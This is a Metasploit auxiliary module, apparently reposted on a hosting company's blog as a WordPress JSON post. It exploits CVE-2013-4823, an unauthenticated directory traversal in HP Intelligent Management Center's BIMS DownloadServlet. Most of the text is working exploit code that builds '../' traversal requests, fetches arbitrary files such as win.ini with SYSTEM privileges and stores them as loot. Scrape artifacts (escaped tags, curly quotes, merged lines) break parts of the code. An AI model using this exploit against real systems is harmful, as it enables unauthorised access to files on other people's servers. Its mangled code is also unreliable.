##
# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
##<\/p>\n
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner<\/p>\n
def initialize(info = {})
super(update_info(info,
‘Name’ => ‘HP Intelligent Management BIMS DownloadServlet Directory Traversal’,
‘Description’ => %q{
This module exploits a lack of authentication and a directory traversal in HP
Intelligent Management, specifically in the DownloadServlet from the BIMS component,
in order to retrieve arbitrary files with SYSTEM privileges. This module has been
tested successfully on HP Intelligent Management Center 5.1 E0202 with BIMS 5.1 E0201
over Windows 2003 SP2.
},
‘License’ => MSF_LICENSE,
‘Author’ =>
[
‘rgod <rgod[at]autistici.org>’, # Vulnerability Discovery
‘juan vazquez’ # Metasploit module
],
‘References’ =>
[
[ ‘CVE’, ‘2013-4823’ ],
[ ‘OSVDB’, ‘98248’ ],
[ ‘BID’, ‘62897’ ],
[ ‘ZDI’, ’13-239′ ]]))<\/p>\n
register_options(
[
Opt::RPORT(8080),
OptString.new(‘TARGETURI’, [true, ‘Path to HP Intelligent Management Center’, ‘\/imc’]),
OptString.new(‘FILEPATH’, [true, ‘The name of the file to download’, ‘\/windows\\\\win.ini’]),
# By default files downloaded from C:\\Program Files\\iMC\\client\\web\\apps\\imc\\
OptInt.new(‘DEPTH’, [true, ‘Traversal depth’, 6])
])
end<\/p>\n
def is_imc?
res = send_request_cgi({
‘uri’ => normalize_uri(target_uri.path.to_s, “login.jsf”),
‘method’ => ‘GET’
})<\/p>\n
if res and res.code == 200 and res.body =~ \/HP Intelligent Management Center\/
return true
else
return false
end
end<\/p>\n
def my_basename(filename)
return ::File.basename(filename.gsub(\/\\\\\/, “\/”))
end<\/p>\n
def run_host(ip)<\/p>\n
if not is_imc?
vprint_error(“#{rhost}:#{rport} – This isn’t a HP Intelligent Management Center”)
return
end<\/p>\n
travs = “”
travs << “..\/” * datastore[‘DEPTH’]travs << datastore[‘FILEPATH’]\n
vprint_status(“#{rhost}:#{rport} – Sending request…”)
res = send_request_cgi({
‘uri’ => normalize_uri(target_uri.path.to_s, “bimsDownload”),
‘method’ => ‘GET’,
‘vars_get’ =>
{
‘fileName’ => travs,
‘path’ => “\/”
}
})<\/p>\n
if res and res.code == 200 and res.headers[‘Content-Type’] and res.headers[‘Content-Type’] == “application\/doc”
contents = res.body
fname = my_basename(datastore[‘FILEPATH’])
path = store_loot(
‘hp.imc.bimsdownloadservlet’,
‘application\/octet-stream’,
ip,
contents,
fname
)
print_good(“#{rhost}:#{rport} – File saved in: #{path}”)
else
vprint_error(“#{rhost}:#{rport} – Failed to retrieve file”)
return
end
end
end<\/p>\n","protected":false},"excerpt":{"rendered":"
### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule < Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Reportinclude Msf::Auxiliary::Scanner def initialize(info = {})super(update_info(info,‘Name’ => ‘HP Intelligent Management BIMS DownloadServlet Directory Traversal’,‘Description’ => %q{This module exploits a lack of authentication and a directory traversal in HPIntelligent Management, specifically in the DownloadServlet from the BIMS component,in order to retrieve arbitrary …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59344","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59344","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59344"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59344\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59344"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59344"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59344"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}